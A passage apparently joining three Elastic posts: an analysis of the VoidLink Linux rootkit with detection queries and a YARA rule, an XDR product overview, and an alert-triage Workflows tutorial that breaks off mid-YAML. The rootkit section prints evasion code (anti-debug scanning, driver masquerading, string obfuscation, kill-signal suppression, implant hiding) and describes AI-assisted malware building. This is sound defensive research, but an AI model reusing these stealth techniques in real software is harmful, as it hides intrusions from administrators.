    struct task_struct *task;
    bool detected = false;

    rcu_read_lock();
    for_each_process(task) {
        if (is_debug_tool(task->comm)) {
            detected = true;
            break;
        }
    }
    rcu_read_unlock();

    if (detected && !g_data.debug_detected) {
        g_data.debug_detected = true;
    } else if (!detected && g_data.debug_detected) {
        g_data.debug_detected = false;
    }

    mod_timer(&anti_debug_timer,
              jiffies + msecs_to_jiffies(ANTI_DEBUG_INTERVAL));
}

The tool list is comprehensive: It covers standard debugging tools (strace, gdb, ltrace), performance analysis utilities (perf, trace-cmd, sysdig), eBPF inspection tools (bpftool, bpftrace), and rootkit detection utilities (rkhunter, chkrootkit in the CentOS 7 variant). The scan uses for_each_process() under read-copy-update (RCU) lock protection, checking each task's comm field against the tool list. When a debugging tool is detected, the debug_detected flag is set. The CentOS 7 variant goes further: It can optionally pause all hiding operations or trigger self-destruction when forensic tools are detected.

Module masquerading

Every VoidLink variant disguises its kernel module metadata to impersonate a legitimate AMD driver:

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Advanced Micro Devices, Inc.");
MODULE_DESCRIPTION("AMD Memory Encryption Support");
MODULE_VERSION("3.0");

The real amd_mem_encrypt module is a legitimate part of AMD's Secure Memory Encryption (SME) and Secure Encrypted Virtualization (SEV) support in the Linux kernel. By copying its metadata, VoidLink makes its modinfo output indistinguishable from the real driver. This disguise is particularly effective on cloud instances and virtual machines, where AMD-related kernel modules are commonly present and rarely questioned.

The v5 variant takes this further by XOR-encrypting the module name string and decoding it at runtime:

static char obf_modname[] = {
    'a'^ICMP_KEY, 'm'^ICMP_KEY, 'd'^ICMP_KEY, '_'^ICMP_KEY,
    'm'^ICMP_KEY, 'e'^ICMP_KEY, 'm'^ICMP_KEY, '_'^ICMP_KEY,
    'e'^ICMP_KEY, 'n'^ICMP_KEY, 'c'^ICMP_KEY, 'r'^ICMP_KEY,
    'y'^ICMP_KEY, 'p'^ICMP_KEY, 't'^ICMP_KEY, 0
};

static void decrypt_string(char *dst, const char *src, u8 key)
{
    while (*src) { *dst++ = *src++ ^ key; }
    *dst = 0;
}

This prevents simple string scanning of the compiled .ko binary from revealing the disguise name. While the XOR key (0x42) is trivially discoverable, the obfuscation adds a layer that defeats basic strings or grep analysis.

Process protection

The v5 variant introduces kill protection for designated processes. By hooking do_send_sig_info via ftrace, the rootkit intercepts all signal deliveries and silently discards lethal signals sent to protected PIDs:

if (chk_protected(p->pid)) {
    if (sig == SIGKILL || sig == SIGTERM || sig == SIGSTOP ||
        sig == SIGINT || sig == SIGHUP || sig == SIGQUIT) {
        return 0;  // Pretend success but don't deliver
    }
}

The intercepted signals include SIGKILL, SIGTERM, SIGSTOP, SIGINT, SIGHUP, and SIGQUIT, covering all common methods an administrator might use to terminate or suspend a process. The hook returns zero (success) to the caller, making the caller believe that the signal was delivered, when it was actually discarded. Additionally, signals sent to hidden (but not specifically protected) processes return -ESRCH ("No such process"), maintaining the illusion that the process doesn’t exist.

The memfd-aware boot loader

The load_lkm.sh script reveals that VoidLink is designed to operate as part of a larger attack toolkit. Before loading the rootkit, the script scans /proc/*/exe for any process running from a memfd file descriptor:

for pid in $(ls /proc 2>/dev/null | grep -E "^[0-9]+$"); do
    exe=$(readlink /proc/$pid/exe 2>/dev/null)
    if [[ "$exe" == *"memfd"* ]]; then
        IMPLANT_PIDS="$IMPLANT_PIDS $pid"
    fi
done

A memfd file descriptor, created by memfd_create(), represents an anonymous in-memory file with no on-disk backing. Processes running from memfd are a strong indicator of fileless implants: that is, malware that exists only in memory and leaves no file on the filesystem. The boot script automatically passes any discovered memfd process PIDs to the rootkit as init_pids, ensuring that they’re hidden immediately upon rootkit activation.

This integration tells us that VoidLink isn’t a stand-alone tool. It’s designed to complement a separate fileless implant, likely a reverse shell or beacon, that the operator deploys first. The rootkit's job is to make that implant invisible to administrators and security tools.

Evidence of LLM-assisted development

Check Point Research's second publication on VoidLink established that the broader framework was built using AI-driven development through the TRAE IDE, with sprint-planning documents, coding guidelines, and structured specifications all generated by an LLM. The rootkit source code in our data dump independently corroborates this finding and provides additional granular evidence at the code level. While the rootkit's technical sophistication is genuine, the patterns in its source code, comments, and development history offer a ground-level view of how LLM-assisted iteration produced kernel-level malware.

The most compelling evidence comes from the phase-numbered refactoring annotations in the CentOS 7 variant. The file header contains a structured changelog that reads like a series of LLM conversation turns: "Fix the security issues" (Phase 1), "Now improve stealth" (Phase 2), "Add compatibility" (Phase 3), "Improve stability" (Phase 4), "Add defense mechanisms" (Phase 5). Individual code changes are tagged throughout with identifiers like [1.1] for the first fix in Phase 1, [2.3] for the third fix in Phase 2, and so on. This systematic tagging matches the pattern of iterative LLM prompting, where a user requests a category of improvements and the model implements and numbers each one.

The comment style throughout VoidLink is tutorial-like in a way that experienced kernel developers wouldn’t produce. Consider this annotation on a single XOR decryption loop:

// XOR decryption
for (i = 0; i < cmd->len; i++)
    cmd->data[i] ^= g_config.icmp_key;

An experienced kernel developer wouldn’t annotate a three-line XOR loop with a comment explaining that it performs XOR decryption. This kind of pedagogical annotation is characteristic of LLM output, where the model explains every step for the user's benefit, regardless of its obviousness.

Every source file in the dump uses the same Unicode box-drawing header (═══) to separate sections. This decorative formatting is a hallmark of LLM-generated code. Human kernel developers almost universally use simple /* */ or // comment blocks for section headers. The consistency of this formatting across files written at different times and for different kernel versions suggests that each file was generated or heavily modified by the same LLM.

The ebpf_test/ directory provides perhaps the most vivid evidence. It contains hide_ss.bpf.c through hide_ss_v9.bpf.c, with matching loader.c through loader_v9.c. Each version makes incremental improvements over the last, and several contain commented-out "approach" annotations that read like chain-of-thought reasoning:

// Approach tried: don't modify return value, only record
// Approach 2: return -ENOMEM to make caller skip
if (data->should_hide && regs->ax == 0) {
    // Try: return -EAGAIN, make caller think temporary error, skip entry
    regs->ax = (unsigned long)(-EAGAIN);
}

These "Approach 1 / Approach 2 / try this" annotations look like LLM reasoning traces left in the output, where the model discusses different strategies before implementing one.

Despite the strong LLM fingerprints, VoidLink is clearly not a pure LLM creation. Several pieces of evidence confirm human involvement in the development process. The icmp_ctl.py usage examples contain real Alibaba Cloud IP addresses (8.149.128[.]10, 116.62.172[.]147), indicating operational use on actual targets. Compiled .ko files are available for specific kernel versions, demonstrating that the code was tested on real systems. The load_lkm.sh boot script, with its memfd scanning logic, reveals integration with a broader attack toolkit that a pure LLM session wouldn’t produce. And the 10 iterative eBPF versions in ebpf_test/ show genuine debugging and testing cycles, not just prompt engineering.

These code-level observations align with Check Point's macro-level findings. Where Check Point recovered the sprint planning documents and TRAE IDE artifacts showing a specification-driven development workflow, our data dump reveals the other side of the same coin: the iterative prompt-test-refine cycles that produced each rootkit component. The most likely development model was a human-LLM collaboration: The operator defined requirements and tested on real systems, while the LLM generated initial implementations and iterated on fixes in response to error reports. This development pattern is significant because it lowers the barrier to entry for kernel-level rootkit development. An operator who understands the concepts but lacks the kernel programming expertise to implement them from scratch can now produce functional, multigeneration rootkits by iterating with an LLM.

Detecting VoidLink’s rootkits

Despite VoidLink's multilayered evasion capabilities, several detection strategies are available. The rootkit's thoroughness creates opportunities: Each component, the LKM, the eBPF program, the ICMP channel, and the boot loader, leaves distinct artifacts that defenders can monitor. Because the rootkit actively filters files such as /proc/kallsyms, /proc/modules, and /sys/kernel/debug/kprobes/list, some of the detection strategies below should be validated in a trusted environment, such as a live boot medium or a kernel with verified integrity.

Module integrity detection

VoidLink removes itself from the kernel's module linked list (list_del_init), making it invisible to lsmod and /proc/modules. However, the module's sysfs entries under /sys/module/ may persist, depending on the variant. Comparing the output of lsmod against ls /sys/module/ can reveal discrepancies. Additionally, the absence of amd_mem_encrypt on systems without AMD hardware or without SME/SEV support is a strong indicator.

The following Event Query Language (EQL) query detects kernel module loading events using the default installed utilities:

process where event.type == "start" and event.action == "exec" and (
  (
    process.name == "kmod" and
    process.args == "insmod" and
    process.args like~ "*.ko*"
  ) or
  (
    process.name == "kmod" and
    process.args == "modprobe" and
    not process.args in ("-r", "--remove")
   ) or
  (
    process.name == "insmod" and
    process.args like~ "*.ko*"
   ) or
  (
    process.name == "modprobe" and
    not process.args in ("-r", "--remove")
  )
)

The loading of the kernel module is detectable through Auditd Manager by applying the following configuration:

-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules

And using the following query:

driver where host.os.type == "linux" 
and event.action == "loaded-kernel-module" 
and auditd.data.syscall in ("init_module", "finit_module")

Ftrace hook detection

VoidLink's ftrace hooks can be discovered by inspecting the kernel's tracing infrastructure. The file /sys/kernel/debug/tracing/enabled_functions lists all active ftrace hooks. Unexpected hooks on functions like __x64_sys_getdents64, vfs_read, do_send_sig_info, or __x64_sys_statx are highly suspicious. Note that VoidLink's vfs_read hook filters this file, so inspection from a trusted kernel is recommended.

eBPF program detection

The eBPF companion can be detected through bpftool prog list, which enumerates all loaded BPF programs. Kprobe and kretprobe programs attached to __sys_recvmsg are unusual in production environments and warrant investigation. Pinned BPF maps under /sys/fs/bpf/ (used by the ebpf_hide variant) are another indicator.

The bpf_probe_write_user helper facilitates direct writes from kernel-space eBPF programs into userland memory. Although designed for debugging, rootkits can exploit this functionality. Consequently, monitoring for instances of this helper's use presents a detection opportunity. This detection requires the collection of raw syslog data and the implementation of specific detection rules, as outlined below:

event.dataset:"system.syslog" and process.name:"kernel" and
message:"bpf_probe_write_user"

Behavioral cross-referencing

One of the most effective detection strategies doesn’t rely on inspecting the rootkit's artifacts directly but instead cross-references different views of the system for inconsistencies. Compare the output of ps aux against a raw listing of /proc/ directory entries. Compare netstat -tlnp against ss -tlnp against a direct read of /proc/net/tcp. If VoidLink's eBPF component isn’t loaded (or if the LKM and eBPF hide lists are out of sync), connections visible in one view but not another indicate rootkit activity.

A simple (generated) comparison script can automate this:

#!/bin/bash
# Behavioral cross-referencing: detect hidden processes and network connections
# by comparing multiple views of the same system state.

set -euo pipefail

echo "=== Process cross-reference ==="
ps_count=$(ps aux --no-header | wc -l)
proc_count=$(ls -d /proc/[0-9]* 2>/dev/null | wc -l)
echo "ps reports $ps_count processes, /proc has $proc_count entries"

if [ "$ps_count" -ne "$proc_count" ]; then
    echo "[!] MISMATCH — possible hidden or spoofed processes"
    ps aux --no-header | awk '{print $2}' | sort -n > /tmp/.ps_pids
    ls -d /proc/[0-9]* 2>/dev/null | xargs -n1 basename | sort -n > /tmp/.proc_pids
    diff /tmp/.ps_pids /tmp/.proc_pids || true
    rm -f /tmp/.ps_pids /tmp/.proc_pids
else
    echo "[OK] Process counts match"
fi

echo ""
echo "=== Network cross-reference ==="

# Method 1: ss (iproute2 — always available on modern Linux)
# -t = TCP, -l = listening, -n = numeric, no -p (needs root)
ss_port_nums=$(ss -tln | awk 'NR>1{print $4}' | grep -oP '\d+$' | sort -un)

# Method 2: Parse /proc/net/tcp directly (kernel-level view)
# Filter for state 0A (LISTEN), extract hex port, convert via shell printf
proc_ports=$(
    awk 'NR>1 && $4 == "0A" {split($2, a, ":"); print a[2]}' \
        /proc/net/tcp /proc/net/tcp6 2>/dev/null \
    | while read -r hex; do printf "%d\n" "0x$hex"; done \
    | sort -un
)

echo "ss listening ports      : $(echo "$ss_port_nums" | tr '\n' ' ')"
echo "/proc/net/tcp listening : $(echo "$proc_ports" | tr '\n' ' ')"

diff_result=$(diff <(echo "$ss_port_nums") <(echo "$proc_ports") || true)
if [ -z "$diff_result" ]; then
    echo "[OK] Network views match"
else
    echo "[!] MISMATCH — possible hidden connections:"
    echo "$diff_result"
fi

YARA signature

Based on our analysis, we developed the following YARA signature to detect VoidLink's compiled kernel modules and related artifacts:

rule Linux_Rootkit_VoidLink {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-12"
        last_modified = "2026-03-12"
        os = "Linux"
        arch = "x86_64"
        threat_name = "Linux.Rootkit.VoidLink"
        description = "Detects VoidLink LKM rootkit variants"

    strings:
        $mod1 = "AMD Memory Encryption Support"
        $mod2 = "AMD Memory Encryption Driver"
        $mod3 = "Advanced Micro Devices, Inc."
        $func1 = "vl_stealth"
        $func2 = "g_data"
        $func3 = "icmp_cmd"
        $func4 = "chk_pid"
        $func5 = "chk_port"
        $func6 = "mod_hide"
        $func7 = "amd_mem_encrypt"
        $ebpf1 = "hidden_ports"
        $ebpf2 = "recvmsg_ctx"
        $ebpf3 = "SOCK_DIAG_BY_FAMILY"

    condition:
        (2 of ($mod*) and 3 of ($func*)) or
        (1 of ($mod*) and 2 of ($ebpf*)) or
        (4 of ($func*))
}

Defensive recommendations

Defending against rootkits like VoidLink requires a multilayered approach that goes beyond traditional endpoint protection. Secure Boot and kernel module signing should be enforced to prevent unauthorized kernel modules from loading. The kernel lockdown mode, available since Linux 5.4, restricts operations such as direct memory access and unsigned module loading, even for root users. Monitor the Auditd subsystem for init_module and finit_module syscalls, as any unexpected kernel module load on a production server warrants immediate investigation.

For eBPF specifically, consider restricting the bpf() syscall to specific processes using seccomp profiles or LSM policies. The bpf_probe_write_user helper, which VoidLink abuses to modify userspace memory from eBPF programs, is a known high-risk primitive. Systems that don’t require eBPF-based debugging should consider disabling it entirely through sysctl (kernel.unprivileged_bpf_disabled=1).

Regular integrity checks that cross-reference different system views (process listings, network connections, module lists) from userspace and from a trusted kernel can reveal rootkit activity even when individual views are compromised. Kernel memory forensics tools that can scan for known rootkit patterns, such as ftrace hooks on suspicious functions or Netfilter hooks processing ICMP traffic, provide another layer of defense.

Observations

The following observables were identified during this research.

Conclusion

Check Point Research's publications on VoidLink revealed the scope and ambition of the broader framework: a cloud-native, modular C2 platform with over 30 plugins, adaptive stealth, and multiple transport channels. Our analysis of the leaked rootkit source code complements those findings by providing a deep technical look at the kernel-level subsystem that underpins VoidLink's concealment capabilities. The hybrid LKM-eBPF architecture, spanning four generations of iterative development, demonstrates both technical ambition and practical operational awareness, producing a rootkit capable of comprehensive stealth across multiple kernel versions, from CentOS 7's kernel 3.10 through Ubuntu 22.04's kernel 6.2.

Several aspects of VoidLink stand out as particularly noteworthy. The eBPF Netlink buffer manipulation technique for ss hiding is rarely documented and represents a creative application of bpf_probe_write_user that defenders should be aware of. The delayed initialization strategy evades synchronous module-load security checks, a technique uncommon in the wild and indicative of an understanding of modern EDR behavior. The runtime ICMP credential rotation adds an operational security layer, making network signature-based detection a moving target.

The evidence of LLM-assisted development, both at the project-planning level, documented by Check Point, and at the code-iteration level, visible in our data dump, is perhaps the most significant finding for the threat landscape as a whole. Together, these analyses demonstrate that operators with moderate Linux knowledge can produce kernel-level rootkits by iterating with an AI assistant, lowering a barrier that previously required years of kernel development expertise. As LLMs continue to improve, we expect this pattern to accelerate, making rootkit development accessible to a broader range of threat actors.

We’ll continue to monitor for VoidLink deployments and variants and will update our detection rules as new indicators emerge.

Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.

While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.

Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.

This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.

Endpoint at the heart of XDR

The 2025 Elastic Global Threat Report reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.

As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.

Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the AV-Comparatives Business Security Test confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.

Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an open repository. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.

Beyond the endpoint: expanding the investigation

Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.

Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through hundreds of integrations with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the common schema and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure.

Centralized detection rules operate across the unified dataset in the security platform, complementing real-time protections that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.

Container workloads highlight another way XDR extends investigations. Elastic Defend for Containers monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.

Reconstructing the attack path

After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.

Elastic Security XDR provides investigation tools designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.

Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.

Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.

Agentic investigation: discovery, summarization, and natural language querying

Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.

Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of agent skills, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.

In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.

Built-in forensics and host artifact collection

During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.

Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing memory snapshots for deeper forensic analysis, while Osquery Manager enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.

Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:

• process listings and execution context
• scheduled tasks, startup items, and persistence mechanisms
• shell history and command execution artifacts
• network configuration and connectivity context
• file hashes and other execution-related artifacts

These capabilities turn artifact collection into an embedded step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.

Response actions that keep investigations moving

Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.

For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.

Controlling removable media with Device Control

Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.

Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.

Scaling response with Elastic Workflows

Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.

Elastic Workflows gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.

From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:

• Query Elastic data (including ES|QL), transform results, and branch based on conditions
• Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.
• Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.

This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.

The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.

Elastic Security Labs - Research that powers real-world defenses

Elastic Security is informed by the work of Elastic Security Labs, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.

Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.

Tying it all together

As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.

Learn More

Visit elastic.co/security/xdr to learn more. Try a free Elastic Security trial, explore Elastic Defend with our Getting Started video, or practice with real malware at ohmymalware.com.

An alert fires. You open it. You read through the details. You gather context from the surrounding activity. You check for related signals across your environment. You decide what it means and what to do next. Sometimes you escalate. Sometimes you close it and move on.

You do this dozens of times a day. The steps are almost always the same. The data you need is already in your SIEM. The actions you take are predictable. But the work is still manual.

This is the kind of work that automation should handle. Not because it's hard, but because it's repetitive, and every minute spent on repetitive manual triage is a minute not spent on the alerts that actually need a human.

Elastic Workflows brings that automation into the SIEM itself. No separate tool. No integration to build. Your detection rule fires, and a workflow runs, with direct access to your alerts, cases, and security data.

This blog post walks through building a security playbook with Workflows, step by step. We'll start simple and build up to a workflow that runs when an alert fires, checks threat intel, gathers context, creates cases, notifies the team, and brings in AI when the investigation calls for it.

If you're new to Workflows, the introductory technical deep dive blog and video cover the core concepts of Workflows. This post focuses on applying these concepts in a security context.

Quick orientation

Workflows are YAML definitions that run inside Kibana. You define what should happen, and the platform handles execution. At a high level, a workflow is composed of three main parts: triggers (when it runs), steps (what it does), and data flow (how information moves between steps).

Triggers decide when the workflow runs. An alert trigger runs on a detection. A scheduled trigger runs on a cadence. A manual trigger runs on demand. A workflow can have more than one.

Steps define what the workflow does. They run in order and can use outputs from earlier steps. They can query data in Elasticsearch, update alerts and cases in Kibana, and call external systems like sending a Slack message or scanning a hash on VirusTotal. They can also apply logic such as conditionals or loops, and use AI for tasks like summarizing text, prompting an LLM, or invoking agents when deeper reasoning is needed.

This is the toolkit. With these primitives, you can build workflows that take a signal, gather context, and drive a response.

Building a security playbook

We'll build an alert triage workflow incrementally. Each section adds a capability, and by the end, you'll have a working playbook that handles the full triage loop.

Start with the trigger

Security workflows start with an event. It could be an alert, a case update, a user action, or a scheduled check. The workflow takes that signal, gathers context, and decides what to do next.

We’ll start with alert triage. It’s the most common path, and it shows the full loop end to end. Each section adds a capability, and by the end, you’ll have a working playbook.

Here’s a minimal workflow with an alert trigger:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  # we'll build these out

The alert trigger connects this workflow to detection rules. You link a specific rule to this workflow from the rule's Actions settings in Kibana. When the rule fires, the workflow runs and receives the full alert context through the event variable. That includes event.alerts (the alert documents), event.rule (the rule metadata), and every field on the alert.

From here, you start adding steps.

Check threat intel

The first real step: take the file hash from the alert and check it against VirusTotal. Workflows have a built-in VirusTotal connector, so you don't need to construct HTTP requests or manage API keys in your YAML (connector credentials like VirusTotal API keys or Slack tokens are configured once in the connector under Stack Management > Connectors):

  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

Every step in a workflow follows a simple, consistent structure. It starts with a name, which gives the step a clear identity, and a type, which defines the action being performed. In this case, the step calls the VirusTotal file hash scan capability. Because this is a connector-backed action, it also includes a connector-id, which tells the workflow which configured integration to use, including its credentials.

The with block is where you pass inputs into the step. Each step type defines the parameters it accepts. Here, you provide the file hash to scan. Rather than hardcoding values, workflows use a built-in templating engine powered by LiquidJS. The {{ }} syntax lets you reference data from the execution context, so the hash is pulled directly from the alert that triggered the workflow.

Finally, the on-failure block defines how the step behaves if something goes wrong. In this case, it retries twice with a short delay and continues execution even if the lookup fails. This is important in production workflows, where a transient external API issue should not block the entire triage process.

Gather context with ES|QL

Next, query for related alerts on the same host. ES|QL runs directly against your security indices, so there's no API bridging or credential management:

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

This tells you whether the host has been generating other alerts, which rules triggered, and which users were involved. That context is included in the case description and informs the severity assessment later.

The same approach works for any enrichment that touches data in Elasticsearch: looking up a user's first-seen date, checking how many times a hash has appeared in your logs, or pulling the process tree from endpoint data. If the data is in your cluster, ES|QL can get it.

Branch on findings

Now the workflow needs to decide what to do. If VirusTotal flagged the file as malicious, create a case and respond. If not, close the alert as a false positive:

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      # true positive path: steps below
    else:
      - name: close_false_positive
        type: kibana.SetAlertsStatus
        with:
          status: closed
          reason: false_positive
          signal_ids:
            - "{{ event.alerts[0]._id }}"

The if step evaluates a condition and runs different steps depending on the result. The false positive path closes the alert in a single step. The true positive path continues below.

Create a case

When the alert is confirmed malicious, open a case with context from previous steps:

      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
            Confirmed malicious file detected on {{ event.alerts[0].host.name }}.

            **Detection:** {{ event.rule.name }}
            **User:** {{ event.alerts[0].user.name }}
            **VirusTotal:** {{ steps.check_virustotal.output.stats.malicious }} engines flagged this file
            **Related alerts (24h):** {{ steps.related_alerts.output.values[0][0] }} 
              alerts from {{ steps.related_alerts.output.values[0][1] | size }} rules
          owner: securitySolution
          severity: high
          tags:
            - automation
            - malware
          settings:
            syncAlerts: false
          connector:
            id: none
            name: none
            type: ".none"
            fields: null

Liquid templating pulls data from the alert (event), from the VirusTotal results (steps.check_virustotal.output), and from the ES|QL query (steps.related_alerts.output). Every field from every previous step is available to every subsequent step.

Notify the team

Send a Slack message so the team knows a confirmed case is open:

      - name: notify_team
        type: slack
        connector-id: "security-alerts"
        with:
          message: |
            Malware confirmed on {{ event.alerts[0].host.name }}.
            VirusTotal: {{ steps.check_virustotal.output.stats.malicious }} detections.
            Case created: {{ steps.create_case.output.id }}

Slack is one option. Jira, ServiceNow, PagerDuty, Microsoft Teams, email, and Opsgenie are all supported as connector steps.

The complete workflow

Here's the full workflow assembled:

name: Alert Triage Playbook
description: Enriches alerts, checks threat intel, creates a case, and notifies the team.
enabled: true
tags:
  - security
  - triage

triggers:
  - type: alert

steps:
  - name: check_virustotal
    type: virustotal.scanFileHash
    connector-id: "my-virustotal"
    with:
      hash: "{{ event.alerts[0].file.hash.sha256 }}"
    on-failure:
      retry:
        max-attempts: 2
        delay: 3s
      continue: true

  - name: related_alerts
    type: elasticsearch.esql.query
    with:
      query: |
        FROM .alerts-security*
        | WHERE host.name == "{{ event.alerts[0].host.name }}"
        | WHERE @timestamp > NOW() - 24 hours
        | STATS
            alert_count = COUNT(*),
            rules_triggered = VALUES(kibana.alert.rule.name),
            users_involved = VALUES(user.name)
      format: json

  - name: check_malicious
    type: if
    condition: steps.check_virustotal.output.stats.malicious > 5
    steps:
      - name: create_case
        type: kibana.createCase
        with:
          title: "Malware Detected: {{ event.alerts[0].file.hash.sha256 }}"
          description: |
